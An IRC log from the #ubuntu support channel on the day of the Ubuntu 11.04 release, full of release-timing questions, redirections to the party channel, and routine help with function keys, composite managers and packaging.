[06:39] <Nabbies> its the 28th in europe.... GIVE 11.04
[06:39] <ayecee> Nabbies: breaking news in #ubuntu-release-party
[06:39] <rww> !countdown
[06:39] <ubottu> Please remember that #ubuntu, #kubuntu, #xubuntu, and #edubuntu are support channels. To countdown to Natty release and then party once it happens, join #ubuntu-release-party - For in-person parties, see http://loco.ubuntu.com/events/global/744/detail/
[06:39] <Glaceon> ayecee, i reinstalled it and its still messing up
[06:39] <philipballew> renshai ubuntu-beginners
[06:40] <Nabbies> !countdown
[06:40] <ayecee> Glaceon: bad news. do you have more than one hard drive?
[06:41] <Glaceon> no why
[06:41] <maco> Nabbies: Natty will be released at some point while it is 28 April in at least one timezone on the planet Terra in the system Sol
[06:41] <Nabbies> :)
[06:42] <ayecee> Glaceon: because I've seen that happen when the bios and linux have different ideas about the hard drive order, and grub ends up installed on the wrong disk.
[06:43] <ayecee> maco: could you add the release party channel in your copypasta? It would come off as more friendly.
[06:43] <proq> I'm installing ubuntu via wubi, I would like to give the system 80GB but it will only let me give at the most 30.  How do I do this?
[06:43] <jslozier> quit
[06:43] <jslozier> exit
[06:44] <ayecee> jslozier: try /exit
[06:44] <ayecee> or /quit
[06:45] <ayecee> proq: i haven't seen that before. is that a limit from wubi itself, for some reason?
[06:46] <proq> ayecee: I can't imagine why.  I have 119 MB free and the system is only 2 days old so I'm sure it isn't fragmented
[06:46] <ouyes> How to get Fingerprint Scanners Work in ubuntu?
[06:46] <anthony_2409> are we able to download the 11.04 official release yet?
[06:46] <ayecee> I guess that was 119GB free
[06:46] <ayecee> anthony_2409: no. breaking news in #ubuntu-release-party
[06:46] <proq> 119GB free, yes
[06:46] <ouyes> anthony_2409, you have to wait for 24 hours
[06:46] <ayecee> at least!
[06:48] <arun___> why the delay in releasing 11.04?
[06:48] <nutsfornatty> new ubuntu is never released at midnight sharp
[06:48] <nutsfornatty> just wait, it will be released before the 29th
[06:49] <proq> arun___: it isn't the 28th yet
[06:50] <proq> arun___: if they were to release at 11:59 PM PST on the 28th, that would be in 25 hours
[06:50] <proq> not that I'm saying that they said which time zone or hour
[06:51] <maco> proq: and thats only UTC-8! (though itd be PDT right now so -7)... imagine in UTC-12!
[06:51] <proq> yeah  :)
[06:52] <maco> 30 more potential hours
[06:52] <Bob___> When is 11.04 released because I am kinda hoping to have it up and running today
[06:53] <rww> Bob___: sometime before it stops being April 28th somewhere on the planet
[06:53] <proq> happy ubuntu release eve!
[06:53] <Bob___> Im In GMT
[06:53] <Bob___> orBST
[06:53] <proq> I'm installing ubuntu over my windows 7 netbook, happy day
[06:53] <Bob___> Im not sure which
[06:53] <Narwhal> Bob___: before the 29th
[06:53] <histo> Bob___: you could alwasy upgrade now and you will have it.
[06:53] <maco> Bob___: release team is also in BST, so probably before they go to bed :)
[06:54] <proq> what time is it right now in BST?
[06:54] <Bob___> thanks alot
[06:54] <maco> proq: 7am
[06:54] <histo> maco: well it's 7am there
[06:54] <smw> It is 1:54PM in china
[06:54] <theGreatDane> why install over windows 7? windows 7 rocks
[06:54] <maco> histo: that was the question, yes
[06:54] <theGreatDane> its very good and stable
[06:54] <rww> maco: Release manager's LP profile says America/Chicago timezone ;P
[06:54] <maco> rww: they all fly to london
[06:54] <histo> lol
[06:54] <rww> maco: Ah. Curses!
[06:54] <histo> maco: yeah right
[06:55] <smw> theGreatDane, troll. (anything not bashing windows is trolling)
[06:55] <rww> although that would explain the release time tendencies
[06:55] <histo> maco: you read this in a book or just make it up as you go along?
[06:55] <proq> theGreatDane: I'm more productive on ubuntu, for a variety of reasons  :)
[06:55] <maco> histo: what? proq asked what time it is in britain *right now*
[06:55] <aroman> hey, how can I make all of my function keys perform their action without needing to have fn pressed? (i.e invert the fn button). thanks!
[06:55] <ayecee> histo: a little fom column A, a little from column B
[06:55] <maco> histo: so i rounded to the nearest hour... which is 7am. fine so its 6:55am technically, but close enough
[06:56] <BarbaraBush_> argh
[06:56] <histo> aroman: set keyboard shortcut preferences to what ever you want.
[06:56] <BarbaraBush_> dc'ed
[06:56] <maco> histo: though i have no idea why i'm doing the `date` command's job
[06:56] <histo> maco: they dont' fly to london for a release just fyi
[06:56] <smw> aroman, if you ever figure it out let me know. I want to kill HP so badly
[06:56] <aroman> histo: well then i'd lose the ability to use Fwhatever keys
[06:56] <maco> histo: so pgraner did what? swam there?
[06:56] <smw> aroman, I have gotten used to it overtime...
[06:56] <aroman> smw: its just lame though
[06:57] <maco> histo: a few key people do go to london for it
[06:57] <aroman> i need two hands to do something i should be able to do effortlessly
[06:57] <smw> aroman, apparently "no one uses the function keys"
[06:57] <BarbaraBush_> anyone know that time natty is released?
[06:57] <aroman> >:
[06:57] <smw> aroman, agreed
[06:57] <histo> aroman: then not quite sure what you are trying to do?
[06:57] <maco> BarbaraBush_: before its the 29th in the last timezone
[06:57] <Narwhal> BarbaraBush: before the 29th
[06:57] <smw> BarbaraBush, when it happens, it happens
[06:57] <BarbaraBush_> maco: the 28th here
[06:57] <AustinWolfclaw> "When it's done"
[06:57] <histo> aroman: you can't have one key have two functions. You have to use a modifier like the Fn key
[06:57] <maco> BarbaraBush_: its not the 28th in california yet
[06:58] <BarbaraBush_> it is done, was done yesterday lol
[06:58] <aroman> histo: i want the modifier to be pressed all the time
[06:58] <aroman> and un-press when I actually press it
[06:58] <Narwhal> BarbaraBush: contrary to what your family believes the Bush's are not the centre of the universe :)
[06:58] <maco> BarbaraBush_: nor in the very last timezone, which is utc-12. still got 30 hours before the 28th ends!
[06:58] <BarbaraBush_> hehe im not in cali  :P
[06:58] <aroman> e.g,
[06:58] <histo> There haven't been updates for a couple of days now 11.04 has been done.
[06:58] <AustinWolfclaw> i know i was making fun of the duke nukem thing
[06:58] <BarbaraBush_> Narwhal: thats why im in EU :P
[06:58] <histo> Just download the daily iso if you people want it so bad
[06:58] <tanath> so where do i go to gripe about usability?
[06:58] <Narwhal> histo: wrong, I got 40 packages updated earlier today
[06:58] <histo> tanath: devs
[06:58] <maco> histo: there've been respins of the ISOs going on and language pack rebuilds and stuff
[06:58] <aroman> if I hit f1 which both maximizes and toggles volume mute, I want mute to be _default_
[06:59] <smw> I came up with a good idea to beet the fact that all the apt mirrors will be overloaded. I will setup an ec2 instance with apt-cacher and download from the ubuntu ec2 mirror. What are the chances the ec2 mirror will be overloaded?
[06:59] <tanath> histo, that a channel? :P
[06:59] <histo> aroman: then change your keyboard shortcut preferences
[06:59] <smw> beat*
[06:59] <AustinWolfclaw> i'll just DL a torrent lol
[06:59] <aroman> histo: like I said, then I lose the ability to ever call fullscreen with a hotkey
[06:59] <smw> AustinWolfclaw, yeah, but you still can't install other packages
[06:59] <tanath> 11.04 looks to be a bigger disappointment than i feared it would be
[06:59] <histo> aroman: no you can assign that a different hotkey
[06:59] <AustinWolfclaw> I'm not on ubuntu...
[06:59] <histo> aroman: but do what you want.
[06:59] <aroman> histo: hmmph
[06:59] <AustinWolfclaw> I'm on windoes, i'm DLing the ISO
[07:00] <kaatta> ok so i have been trying for 5 days to get help in #lubuntu with setting up a composite manager
[07:00] <nutsfornatty> torrent for the win
[07:00] <aroman> this is a very simple task
[07:00] <AustinWolfclaw> err i mean i'm going to dl the iso torrent
[07:00] <tanath> who's bright idea was it to make windows maximize at the top of the screen, making it impossible to put windows there?
[07:00] <aroman> I want to invert the fn key's function
[07:00] <smw> AustinWolfclaw, but do you plan to install anything?
[07:00] <histo> tanath: well they aren't going to completely change the interface because you don't like it
[07:00] <BarbaraBush_> tanath, how so? 11.04 has up to date packages and an new kernel
[07:00] <smw> AustinWolfclaw, the mirrors slow to a crawl
[07:00] <kaatta> so my question is, what kind of performance difference will i see between 10.04, 10.10, and 11.04
[07:00] <AustinWolfclaw> invert from Fn to Nf?
[07:00] <histo> tanath: just don't drag windows past the panel and they won't maximize
[07:00] <ayecee> kaatta: almost none at all.
[07:00] <aroman> smw: you know, I think I'll write a wrapper that intercepts all Fwhatevery keys and maps them to my liking.
[07:00] <BarbaraBush_> ah GUI noob :P
[07:00] <nutsfornatty> tanath, give it a bit of space. it will work
[07:01] <tanath> histo, have a look on youtube. i'm hardly the only one with issues
[07:01] <kaatta> i know that 10.10 is a bit laggy @ times on this machine
[07:01] <histo> aroman: please stop
[07:01] <aroman> i could knock that out in a few hours this weekend.
[07:01] <aroman> histo: ....?
[07:01] <maco> histo: thats a compiz setting
[07:01] <histo> tanath: I don't have those issues
[07:01] <smw> aroman, what you really need is something that makes the fn key always pressed
[07:01] <histo> tanath: if you don't drag it past the top panel it won't maximize
[07:01] <kaatta> lubuntu runs very well, but i am tired of not being able to get any help w/ setting it up
[07:01] <maco> tanath: you can turn off the maximise on screen edge by changing your screen edge bindings in compiz
[07:01] <aroman> smw: well maybe, but I think it ought to invert
[07:01] <histo> tanath: further you drag the bigger it gets
[07:01] <BarbaraBush_> tanath run gnome classic instead of unity, solved
[07:01] <smw> aroman, when you press the fn key, it should then be un-fn
[07:01] <kaatta> so i was hoping 10.04 would run smoother on this hardware
[07:01] <tanath> histo, nutsfornatty hope so. i haven't tested ubuntu's implementation of it yet. i presumed it'd work like my win7 experience, which i hated
[07:01] <smw> aroman, yeah
[07:01] <aroman> smw: precisely
[07:01] <AustinWolfclaw> from what I'm understanding, Unity will only be on Ubuntu and not the other flavors?
[07:01] <aroman> i'll do just that :)
[07:01] <smw> aroman, I am thinking of how caps lock works
[07:01] <tanath> maco, thanks. i was wondering about that
[07:02] <smw> AustinWolfclaw, correct
[07:02] <maco> aroman: is this a mac? there's a tool somewhere for reversing their use
[07:02] <Spaz_Dynamic> I've got a question that doesn't pertain to when natty is coming out. Who wants to hear it?
[07:02] <histo> tanath: you hvae to go passed it as i've stated but you'll see for yourself
[07:02] <smw> !ask | Spaz_Dynamic
[07:02] <ubottu> Spaz_Dynamic: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[07:02] <aroman> maco: no, but regardless, that's a software setting in OS X
[07:02] <tanath> BarbaraBush_, actually, i like a number of things about gnome 3, except that it also does the maximize thing, and has eliminated applet support which i need
[07:02] <maco> aroman: and in ubuntu...
[07:02] <aroman> maco: oh it is?
[07:02] <aroman> where?
[07:02] <tanath> histo, mhm. thx
[07:02] <smw> any AustinWolfclaw can you see why torrent does not help? What they need is to have apt use torrents!
[07:02] <maco> aroman: yeah, we have a way to handle mac keyboards. lemme look it up again
[07:02] <Spaz_Dynamic> smw: It's called humor. Everyone is asking about natty. =P
[07:03] <aroman> maco: oh right, that actually makes some sense
[07:03] <ayecee> smw: I think there's an "apt-torrent" package that does that.
[07:03] <aroman> I happen to have a mac with a mac keyboard.
[07:03] <histo> #ubuntu-release-party would be more appropriate rather than here
[07:03] <smw> Spaz_Dynamic, ok, not very funny though... I was kind of excited
[07:03] <AustinWolfclaw> Narwhals narwhals swimming in the ocean, causing a commotion, cuz they're pretty awesome
[07:03] <smw> ayecee, but it is not in general use...
[07:03] <tanath> anyone know if i'll be able to use the win+a shortcut (compiz function) in unity?
[07:03] <Spaz_Dynamic> smw: and techinically, I didn't ask to ask a qustion, or ask who knew the answer, I asked who wanted to hear a question that wasn't "when is natty coming out"
[07:04] <smw> Spaz_Dynamic, ok
[07:04]  * smw raises his hand
[07:04] <aroman> actually
[07:04] <ouyes> how many computers all over the world are now running ubuntu
[07:04] <velcroshooz> 12.
[07:04] <aroman> smw: maco: I think I can actually do this manually in Keyboard shortcuts
[07:04] <histo> !ot | Spaz_Dynamic ouyes
[07:04] <ubottu> Spaz_Dynamic ouyes: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[07:04] <nutsfornatty> not enough to get Adobe to port photoshop
[07:04] <coldfish> 42
[07:04] <smw> ouyes, this can't be determined
[07:04] <AustinWolfclaw> Gimp FTW for Linux
[07:04] <maco> aroman: echo 0 > /sys/module/hid_apple/parameters/fnmode
[07:04] <kaatta> what kinds of things can i do to make 10.10 run better on lesser hardware?
[07:05] <histo> !ot > AustinWolfclaw
[07:05] <shmoolikipod> Soon Gnome is gone
[07:05] <ubottu> AustinWolfclaw, please see my private message
[07:05] <tanath> coldfish, that's your answer for everything ;0
[07:05] <aroman> granted i'd lose the normal Fkey function, but I can reassign most of the normal stuff
[07:05] <smw> aroman, if you do it, let me know!
[07:05] <maco> aroman: oh actually 1, not 0
[07:05] <tanath> * ;)
[07:05] <aroman> maco: whoa, trying that now, thanks a ton
[07:05] <maco> aroman: http://superuser.com/questions/79822/how-to-swap-the-fn-use-of-function-keys-on-al-apple-keyboard-in-linux
[07:05] <nutsfornatty> i spent yesterday using gimp, its growing on me
[07:05] <histo> kaatta: you could try using a different gui. Something like xfce or xubuntu etc...
[07:05] <Spaz_Dynamic> smw: haha, alright. So, I'm wanting to make a bootable USB for ubuntu, kubuntu, and xubuntu. Is it possible to make one stick bootable for all 3 live "CDs" It is 8GB so there is more than enough room.
[07:05] <coldfish> tanath, haha,right and simple one :)
[07:05] <Roasted> If I'm on 10.10 is it possible to upgrade to 11.04 yet, or are thtose packages not out yet?
[07:05] <histo> kaatta: there is help.ubuntu.com has low memory systems options
[07:05] <kaatta> nutsfornatty, ive used gimp and photoshop, i prefer gimp by alot, ii just dont like a few bugs ive run into that have cost me 8 hrs of work
[07:05] <histo> Roasted: they are out
[07:05] <maco> aroman: dunno if thatll work on a non-apple keyboard though. experiment time i guess
[07:05] <Roasted> histo, appreciate it bro
[07:06] <Spaz_Dynamic> histo: I wasn't off topic, I was just using an interesting segue. =P
[07:06]  * Barbarabush is a very strong man!
[07:06] <ouyes> smw, just a aproxisimite number like 10 100 1000 1000,000
[07:06] <rww> !ot | Barbarabush
[07:06] <ubottu> Barbarabush: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[07:06] <aroman> maco: it won't, the module isn't loaded. but I guess I could digaround and see if I could modprobe it somehow
[07:06] <kaatta> ive tried xubuntu, and lubuntu, and had high hopes for lubuntu but lxde seems to be lacking too much that im used to with ubuntu
[07:06] <Spaz_Dynamic> perhaps not interesting so much as long and slightly convoluted.
[07:06] <Barbarabush> !ot rww
[07:06] <^Phantom^> how do i open 'modules' ?
[07:06] <Roasted> histo, by chance if you upgrade, do you know offhand how much extra hard drive space it uses? I ask because I only have 2gb left on my root partiion. I dont want to attempt it if itll tank it :(
[07:06] <tanath> Spaz_Dynamic, you might have a look at startup disk creator... dunno if it supports multiple though
[07:06] <smw> ouyes, one googol (10^100)
[07:06] <histo> ^Phantom^: what are you trying to do exactly?
[07:06] <Barbarabush> !ot | rww
[07:06] <ubottu> rww: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[07:06] <smw> Spaz_Dynamic, I would say not. If I really wanted to put work into it, I would get the alternative install cds and combine them
[07:06] <andrew_46> kaatta: I have not tried it but many swear by lubuntu:  http://lubuntu.net/
[07:07] <^Phantom^> see if i have !snd-pcm-oss in modules
[07:07] <Spaz_Dynamic> smw, how would I do that then?
[07:07] <^Phantom^> for a friend
[07:07] <nutsfornatty> kaatta, i think the basic gui is much better in gimp. photoshop is a bloated mess. tasks dont "flow" intuitively
[07:07] <histo> ^Phantom^: well you can lsmod | grep snd-pcm  to see if it's running. If not try locate snd-pcm-oss
[07:07] <tanath> nutsfornatty, gimp needs a lot of gui improvements though
[07:07] <kaatta> Andre_Gondim, im on lubuntu now, i have been sitting in #lubuntu for 5 days asking for help getting a composite manager running (google is no help at all)
[07:08] <tanath> nutsfornatty, like 3 overlapping windows? >.<
[07:08] <smw> Spaz_Dynamic, I know very little about ubuntu's usb thing. Does it run a iso in loopback?
[07:08] <histo> ^Phantom^: and I believe it's snd_pcm_oss
[07:08] <kaatta> nutsfornatty, the biggest issue i have with gimp, is on really large projects, the 'undo history' gets so long tthat it will freeze and crash in windows
[07:08] <nutsfornatty> tanath, true. i could see it being the pixelmator (on osx) type killer app for ubuntu with some refinement
[07:08] <andrew_46> kaatta: What did you miss?
[07:08] <tanath> kaatta, there's also the ubuntu forums and askubuntu.com
[07:08] <kaatta> nutsfornatty, i havent really used it in linux yet
[07:08] <x3464> why isn't mangler in the Ubuntu repos.
[07:09] <ouyes> smw, I get a number for accessing ubuntuforums  4581000 ips per day
[07:09] <smw> Spaz_Dynamic, for combining them, you get the alternative install cds, you look at the "pool" directory, and you combine them (they have the same file structure, some files are the same)
[07:09] <Spaz_Dynamic> smw: I don't know that myself. I know that the utility unetbootin uses 7zip to extract the images and then makes a modification to the MBR it
[07:09] <hfx> Why isn't ubuntu out yet!
[07:09] <nutsfornatty> i dont mind the windows. no worse than adobes floating bars
[07:09] <hfx> ?
[07:09] <kaatta> andrew_46, i cant find a composite manager that works properly for things like an app dock, and conky
[07:09] <tsimpson> hfx: because it's not
[07:09] <Spaz_Dynamic> hfx: ubuntu has been out for years. =P
[07:09] <cdoktor19> when 11.04 release
[07:09] <ckw> hfx, #ubuntu-release-party
[07:09] <hfx> Yes, thats what i mean
[07:09] <hfx> thanks
[07:10] <tanath> can upgrade now if you want
[07:10] <kaatta> andrew_46, google doesnt show much of anything that i have found, and nothing that i found helpful @ all about what compositte manager i should even be looking for
[07:10] <ckw> cdoktor19, #ubuntu-release-party
[07:10] <qin> x3464: There is PPA for mangler: https://launchpad.net/~mangler/+archive/mangler
[07:10] <smw> Spaz_Dynamic, you then need to put all the preseed files in (with different names) and make menu entries
[07:10] <andrew_46> kaatta: What are the specs on the computer?
[07:10] <smw> Spaz_Dynamic, It is not easy, however, you will learn alot about the debian installer and automated installs ;-)
[07:10] <histo> kaatta: cairo compmgr is a good one that will work well
[07:10] <histo> kaatta: if you don't want to run compiz
[07:11] <histo> kaatta: Or you can try mudder I believe gnome3 is using that.
[07:11] <Spaz_Dynamic> smw: interesting... I may look into it.
[07:11] <forces> where can i download ubuntu 11.04?
[07:11] <Starminn> histo: I thought it was "Mutter"
[07:11] <rww> forces: it's not out yet, so nowhere
[07:11] <tanath> hfx, cdoktor19 , if you jump the gun and upgrade before the official release time you won't clog the servers as much and suffer said clogging as much...
[07:11] <smw> forceflow, on the main page there is a link to the beta
[07:11] <rww> Starminn: it is
[07:11] <buhman1> it's the 28th across the us...
[07:12] <buhman1> where's my 11.04?
[07:12] <forces> oh! when will be out?
[07:12] <nutsfornatty> beta 2 -> update.... thats as close as you can get to 11.04 final atm
[07:12] <smw> buhman1, it is not the 28th in California!
[07:12] <Starminn> buhman1 forces: #ubuntu-release-party will tell you
[07:12] <kaatta> andrew_46, specs: http://www.netbooktech.com/asus-eee-pc-701sd/
[07:12] <Barbarabush> isent ubuntu using UK release times? or still the french?
[07:12] <forces> ok
[07:12] <rww> buhman1: Ubuntu doesn't use any particular timezone
[07:12] <rww> Barbarabush: ^^
[07:12] <Barbarabush> afaik it has been the 28th for ubuntu for atleast 7h now
[07:12] <kaatta> histo, i searched the synaptic package manager for cairo-compmgr and didnt find it @ all
[07:12] <velcroshooz> doesnt matter what timezone, there is no time set
[07:12] <rww> Barbarabush: it's 7am in the UK
[07:13] <Barbarabush> rww i know
[07:13] <Barbarabush> 8 here
[07:13] <smw> forceflow, buhman1, "Ubuntu 11.04 release is scheduled somewhere in the time period when it's April 28th somewhere in the world, not at a specific time"
[07:13] <rww> oh, I read 17. Sorry.
[07:13] <Barbarabush> lol
[07:13] <andrew_46> kaatta: 7 inch display!!!
[07:13] <maco> Barbarabush: a day is 49 hours :)
[07:13] <aroman> smw: maco: think i figured it out, testing, brb.
[07:13] <Barbarabush> hehe maco
[07:13] <rww> #ubuntu-release-party is driving me crazy I guess
[07:13] <Barbarabush> i was awake at 24:00 here, checking if 11.04 was released :P
[07:13] <proq> party party!
[07:14] <Barbarabush> pooking around ftp's to see if it had been uploaded by mistake etc
[07:14] <tsimpson> seeing as there is no set time for the release, it really doesn't matter what time it is
[07:14] <tanath> cdoktor19, buhman1, forces: sudo do-release-upgrade -d
[07:14] <Barbarabush> since 11.04 was done the 27th
[07:14] <kaatta> andrew_46, yea, its a 800x480 resolution, ubuntu installer window doesnt even support that. bottom of the screen is cut off
[07:15] <cdoktor19> am still 10.04 Lts it just upgrade to 10.10
[07:15] <tanath> cdoktor19, and from there you can upgrade to next one. or you could skip and download iso from ubuntu.com
[07:15] <ttuttle> is 11.04 out yet?
[07:16] <rww> ttuttle: no
[07:16] <ttuttle> is it coming out today?
[07:16] <Barbarabush> yes
[07:16] <qin> !party > ttuttle
[07:16] <ubottu> ttuttle, please see my private message
[07:16] <ttuttle> cool.
[07:16] <ttuttle> qin: thanks
[07:16] <cdoktor19> i will wait to download iso
[07:16] <histo> !party > cdoktor19
[07:16] <ubottu> cdoktor19, please see my private message
[07:17] <dani_> any idea when it will be out????
[07:17] <histo> !upgrade > cdoktor19
[07:17] <histo> !party > dani_
[07:17] <ubottu> dani_, please see my private message
[07:17] <smw> dani_,  "Ubuntu 11.04 release is scheduled somewhere in the time period when it's April 28th somewhere in the world, not at a specific time"
[07:17] <Barbarabush> waste of time inviting people
[07:17] <Spaz_Dynamic> dani_: in the next 24 hours
[07:17] <Barbarabush> people join it and leave again
[07:17] <Barbarabush> just take the channel down lol
[07:17] <Spaz_Dynamic> dani_: correction, what smw said
[07:18] <smw> Spaz_Dynamic, we are both correct
[07:18] <smw> Spaz_Dynamic, in 24hours and 40minutes it will not be April 28th anywhere
[07:18] <konaya> konaya@carbon:~$ date
[07:18] <konaya> Thu Apr 28 08:18:39 CEST 2011
[07:18] <konaya> It's the 28th. Where is it? :P
[07:19] <histo> !party > konaya
[07:19] <ubottu> konaya, please see my private message
[07:19] <Spaz_Dynamic> smw: not true. california it will still be the 28th, and hawaii and etc
[07:19] <qin> histo: too fast ;)
[07:19] <histo> !ot > smw Spaz_Dynamic
[07:19] <ubottu> smw, please see my private message
[07:19] <x3464> Mangler needs to be included in the repos.
[07:19] <histo> !ot > Spaz_Dynamic
[07:19] <ubottu> Spaz_Dynamic, please see my private message
[07:20] <histo> x3464: you can build a deb and submit it.
[07:20] <smw> Spaz_Dynamic, not in 24hours and 40 minutes
[07:20] <konaya> histo, there are three people in #ubuntu-release-party. No, three idling clients, my bad. Feels more productive asking a question in an active channel if you ask me
[07:21] <Spaz_Dynamic> smw, then it will be still in hawaii still
[07:21] <Corey> konaya: You're incorrect.
[07:21] <histo> konaya: there more than 3 and it is off topic here
[07:21] <smw> Spaz_Dynamic, maybe, I don't know hawaii, I thought they were PST
[07:21] <Corey> I show 210 people there. :-)
[07:21] <qin> konaya: 210
[07:21] <Scarra3> Sup everyone
[07:21] <Scarra3> Well im glad that 11.04 is released soon
[07:21] <Barbarabush> im not idle konaya :P
[07:21] <konaya> Oh.
[07:21] <konaya> Guys.
[07:22] <konaya> The topic.
[07:22] <rww> konaya: what about it?
[07:22] <Scarra3> Theres a lot of peopl here in okinawa who wan't it lol
[07:22] <konaya> It's an exclamation mark after the release party channel name.
[07:22] <litropy> I have a Kensington Orbit Optical trackball. As you can see: (http://tinyurl.com/6btnlhv), it doesn't have a scroll wheel. While using supported operating systems, right-click+leftclick'ing tells the OS to scroll with the ball's y-axis until another click happens. How can I attain the same functionality in Ubuntu?
[07:22] <konaya> Xchat assumes it's part of the name. :P
[07:22] <rww> konaya: ah
[07:22] <Spaz_Dynamic> smw: i'm not sure about that, but i'm GMT -5, and hawaii can't be more than 6 hours behind me, so thats GMT-11
[07:23] <histo> !ot | Spaz_Dynamic
[07:23] <ubottu> Spaz_Dynamic: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[07:23] <Barbarabush> so does the freenode web client
[07:23] <quellhorst> is 11.04 out yet?
[07:23] <konaya> That's more like it :) sorry about the confusion and the off-topicness
[07:23] <histo> !party > quellhorst
[07:23] <ubottu> quellhorst, please see my private message
[07:23] <smw> Spaz_Dynamic, I am east coast too
[07:23] <rww> quellhorst: no
[07:23] <konaya> !party > quellhorst
[07:24] <x3464> qin: can't find that ppa you mentioned.
[07:24] <qin> one sec...
[07:24] <histo> x3464: http://lmgtfy.com/?q=ubuntu+mangler+ppa
[07:24] <en1gma> geohot gave his old hacker friends the L:P to the PSN master server after he got hired by sony? he only took the job from sony (as part of the master plan) to take down the PSN?
[07:25] <rww> !ot | en1gma
[07:25] <ubottu> en1gma: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[07:25] <en1gma> :)
[07:25] <en1gma> k
[07:25] <en1gma> it breaks up the "when is 11.04 gonna be released though"
[07:26] <econnell> qin: because i just deleted it
[07:26] <x3464> histo http://lmgtfy.com/?q=ubuntu+mangler+ppa
[07:26] <histo> x3464: yes
[07:26] <Spaz_Dynamic> en1gma: I know, thats part of why I kept going on about timezones with smw. xD
[07:27] <qin> x3464: Launchpad seems to be on lockdown
[07:27] <Spaz_Dynamic> why isn't lubuntu endorsed by canonical?
[07:27] <histo> Spaz_Dynamic: http://lubuntu.net/about
[07:28] <qin> econnell: Ah...
[07:28] <smw> Spaz_Dynamic, because lubuntu is lxde which is hard to use?
[07:28] <Spaz_Dynamic> histo: yeah, I didn't see why.
[07:28] <econnell> qin: the less support i provide to ubuntu myself, the more they'll take on their own responsibility... just like every other distro
[07:29] <Spaz_Dynamic> smw: how is it hard?
[07:29] <smw> Spaz_Dynamic, Well, it is too simple
[07:29] <histo> Spaz_Dynamic: http://ubuntuforums.org/showthread.php?p=10714672
[07:29] <smw> Spaz_Dynamic, not specifically hard
[07:29] <velcroshooz> Spaz_Dynamic, canonical has limited resources, they cant support every offshoot distro with a different DE
[07:30] <Spaz_Dynamic> smw: I use puppy linux. its rather simple and I love it for that.
[07:30] <smw> Spaz_Dynamic, I am not saying that makes it bad. It makes it the opposite of ubuntu
[07:30] <Spaz_Dynamic> But I want a more fluffy OS for my desktop, so I use a 'buntu flavor
[07:31] <Spaz_Dynamic> aaahh, ok
[07:31] <histo> !ot > Spaz_Dynamic
[07:31] <ubottu> Spaz_Dynamic, please see my private message
[07:31] <ktwo> hi do you know any alternative to pyLoad (it has to run on a non-gui system and provide a web-interface)
[07:32] <topramen> im going to cry now
[07:32] <histo> ktwo: http://alternativeto.net/software/pyload/
[07:32] <Spaz_Dynamic> ubottu: I dun wanna. You just keep saying the same thing to me over and over. It's akin to spamming, and I don't approve.
[07:32] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[07:33] <histo> Spaz_Dynamic: well then stop being offtopic
[07:33] <x3464> histo:  already done...  a long time ago.  http://revu.ubuntuwire.com/details.py?upid=7251
[07:34] <histo> x3464: it looks like they need a package for natty but they probably missed that deadline as well.
[07:34] <econnell> hahaha
[07:36] <econnell> x3464: you see why this is so frustrating?
[07:36] <histo> x3464: they need to release a package for the development version.
[07:36] <x3464> Yes....  a sea of confusion.
[07:36] <histo> x3464: so it can be tested etc.. and made sure that it doesn't break anything etc...
[07:37] <histo> x3464: otherwise it will be in ppa. Or you can build from source.
[07:37] <econnell> x3464: this is why i think not distributing a deb and not running a PPA will force their hand...  especially when they find out there's new features they can't use
[07:37] <KatronixSerf> Hi all, running 11.1 Beta 2, and see that my nvidia driver is enabled but not in use, how can I enable it?
[07:37] <histo> KatronixSerf: /j #ubuntu+1
[07:37] <g105b> is this the link to the release version of 11.04? http://cdimage.ubuntu.com/daily-live/current/natty-desktop-amd64.iso
[07:37] <KatronixSerf> ok
[07:38] <g105b> or do I have to wait until it is released to ubuntu.com ?
[07:38] <forces> g105b, no
[07:38] <x3464> econnell:  I agree...  Mangler should go primetime now.  PPA is just ugly.
[07:38] <forces> g105b, thats daily build
[07:38] <econnell> "oh... you use ubuntu?  yeah... me too... the software is developed on ubuntu and it works perfectly.... but no you can't use it because ubuntu bureaucracy means you have to compile it yourself.  or.... well... go complain in #ubuntu i guess"
[07:38] <asee> my pidgin is not working
[07:38] <histo> x3464: it would if someone would submit a deb to teh development version
[07:38] <g105b> ... I'm just excited to get 11.04 upgraded
[07:39] <histo> econnell: it's not that hard of a process to understand and there are reasons for it.
[07:39] <asee> help me!!! my pidgin is not working
[07:39] <histo> asee: can you describe not working
[07:39] <maco> econnell: what are you on about?
[07:39] <forces> i want the 11.04 iso image
[07:39] <forces> :(
[07:39] <maco> econnell: we have a way to get packages into stable releases
[07:39] <maco> !arb
[07:39] <econnell> histo: i don't care what the reasons for your packaging bureaucracy are...  i write software... not packing stuff for operating system s
[07:39] <histo> !party > forces
[07:39] <ubottu> forces, please see my private message
[07:39] <maco> bah
[07:40] <ruan> just because natty is released today doesn't mean it's already released and stable
[07:40] <histo> econnell: it's not my policy. it's pretty much every distros
[07:40] <asee> it just failed to login on pidgin ...HELP!!
[07:40] <histo> !volunteer | econnell
[07:40] <econnell> histo: we've been in arch and gentoo for like 1.5 years
[07:40] <g105b> does anyone know what time 11.04 will be up for download?
[07:40] <forces> same question here
[07:40] <maco> econnell: submit your package to the application review board if you want to get it into a stable release
[07:41] <velcroshooz> 2 minutes.
[07:41] <maco> g105b: Natty will be released at some point while it is 28 April in at least one timezone on the planet Terra in the system Sol
[07:41] <maco> g105b: party in #ubuntu-release-party
[07:41] <histo> econnell: if a user of a distro wants a package. They will submit a deb/rpm/whatever distro plox to a development version so it can be added to official repositories
[07:41] <econnell> maco: hah.... did that about a year and a half ago
[07:41] <maco> econnell: it didnt exist a year and a half ago
[07:41] <nsmnmj> how to solve dependency conflict when two packages need a different version of some other package?
[07:41] <histo> econnell: arch/gentoo development is faster because they are rolling releases
[07:42] <econnell> 1.0.0 was released on dec 2009, correct
